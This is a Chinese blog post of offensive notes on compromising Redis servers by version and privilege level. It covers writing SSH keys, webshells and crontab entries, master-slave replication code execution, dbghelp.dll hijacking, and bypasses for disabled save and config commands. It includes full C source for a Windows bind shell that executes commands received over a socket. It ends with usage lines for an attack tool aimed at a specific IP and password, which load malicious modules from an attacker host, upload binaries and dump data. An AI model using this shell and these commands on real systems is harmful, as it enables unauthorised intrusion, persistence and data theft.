Redis 武器化工具

前言:感谢rdt师傅帮助总结,一起对应写了一个工具进行使用,这边简单记录下笔记情况

参考文章:https://xz.aliyun.com/t/7974
参考文章:https://xz.aliyun.com/t/14455
参考文章:https://ricterz.me/posts/2019-07-08-two-tricks-of-redis-exploitation.txt
参考文章:https://github.com/Hel10-Web/Databasetools
参考文章:https://www.cnblogs.com/sup3rman/p/16803408.html
参考文章:https://xz.aliyun.com/t/11198
参考文章:https://github.com/yannh/redis-dump-go
参考文章:https://cloud.tencent.com/developer/article/2422977

Windows 常规 2.x 3.x

  • 可主从复制
  • 可DLL劫持

Windows 常规 4.x 5.x

  • 可主从复制
  • 可DLL劫持
  • 可主从命令执行

Linux 常规4.x / 5.x

高权限

  • 可写sshkey
  • 可写webshell
  • 可主从命令执行
  • 可主从复制

低权限

  • 可写webshell
  • 可主从命令执行
  • 可主从复制

Linux 常规6.x

高权限

  • 可写sshkey
  • 可写webshell
  • 可主从复制

低权限

  • 可写webshell
  • 可主从复制

注意事项

  • save命令被禁用,通过bgsave命令绕过

save -> bgsave

  • 高冗余数据写入数据出现问题,rdbcompression设置解决

config set rdbcompression no

  • 4.x 5.x redis版本情况下,如果config命令被禁用,通过主从攻击写默认文件dump.rdb直接加载动态链接库进行绕过

rename-command CONFIG ""

  • 主从利用前备份数据,后续利用完进行恢复,参考redisdump项目pkg/redisdump/redisdump.go:152

  • redis可能缓存相关shiro key、反序列化键值对,敏感数据

  • redis windows 不出网的情况下,可以本地监听,然后telnet连接进行命令执行

注意:可能有同学会问劫持dbghelp.dll重启之后redis无法运行的问题,这个问题其实只要做好dbghelp的转发函数即可解决

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32.lib") //Winsock Library 

#define BUF_SIZE 1024

int main(int argc, char* argv[])
{
    WSADATA wsa;
    SOCKET s, new_socket;
    struct sockaddr_in server, client;
    int c;
    char buffer[BUF_SIZE];
    FILE* pipe;
    char result[BUF_SIZE];

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
    {
        printf("Failed. Error Code : %d", WSAGetLastError());
        return 1;
    }

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
    {
        printf("Could not create socket : %d", WSAGetLastError());
    }

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(12345);

    if (bind(s, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
    {
        printf("Bind failed with error code : %d", WSAGetLastError());
    }

    listen(s, 1);

    puts("Waiting for incoming connections...");

    c = sizeof(struct sockaddr_in);
    while ((new_socket = accept(s, (struct sockaddr*)&client, &c)) != INVALID_SOCKET)
    {
        puts("Connection accepted");

        // Handle multiple commands
        while (1) {
            memset(buffer, 0, sizeof(buffer)); // Reset buffer

            int recv_size;
            unsigned char inIACSeq = 0; // Add state flag for IAC sequence.
            bool flag = false;
            
            if ((recv_size = recv(new_socket, buffer, BUF_SIZE, 0)) <= 0) {
                printf("Client disconnected or an error occurred.\n");
                break;
            }

            for (int i = 0; i < recv_size; i++) {
                unsigned char ch = buffer[i];
                if (ch == 255) { // IAC
                    inIACSeq = 1;
                }
                else if (inIACSeq) {
                    if (ch == 244) { // IP
                        printf("Ctrl+C received. Closing connection...\n");
                        flag = true;
                        break;
                    }
                    inIACSeq = 0; // Reset state flag.
                }
            }
            
            // deal IAC 
            if (flag){
                break;
            }

            // Handle Ctrl+C from client and "exit" command.
            if (strcmp(buffer, "exit\r\n") == 0 || strcmp(buffer, "exit\n") == 0) {
                printf("Ctrl+C received or 'exit' command received. Closing connection...\n");
                send(new_socket, "Shell Session Quit!\n", strlen("Shell Session Quit!\n"), 0);
                break;
            }

            printf("Received command: %s\n", buffer);

            pipe = _popen(buffer, "r");
            if (pipe == NULL) {
                printf("Error!\n");
                send(new_socket, "Error!\n", strlen("Error!\n"), 0);
                continue;
            }

            while (fgets(result, sizeof(result), pipe) != NULL) {
                send(new_socket, result, strlen(result), 0);
            }

            _pclose(pipe);
        }
    }

    if (new_socket == INVALID_SOCKET)
    {
        printf("accept failed with error code : %d", WSAGetLastError());
        return 1;
    }

    closesocket(s);
    WSACleanup();

    return 0;
}

武器化

Use Example:

./titan_agent_linux cli --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX
./titan_agent_linux cli --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --gbk
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --sshkey
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --sshkey --lfile public.pub
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --shell --lfile shell.txt
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --crontab --lfile cron.txt
./titan_agent_linux lua --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --cmd id
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --hijack --lfile dbghelp.dll --gbk
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --cmd id --lfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --cmd id --lfile defender.so --rpath /tmp/ --rfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --console --lfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --console --lfile defender.so --rpath /tmp/ --rfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --console --bypass --lfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --sshkey
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --sshkey --lfile public.pub
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --crontab --lfile cron.txt
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --upload --lfile busybox-i686 --rpath /tmp/ --rfile busybox-i686
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --export
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --export --count 100
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --import
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --search
posted @ 2023-09-23 12:11  zpchcbd  阅读(264)  评论(0编辑  收藏  举报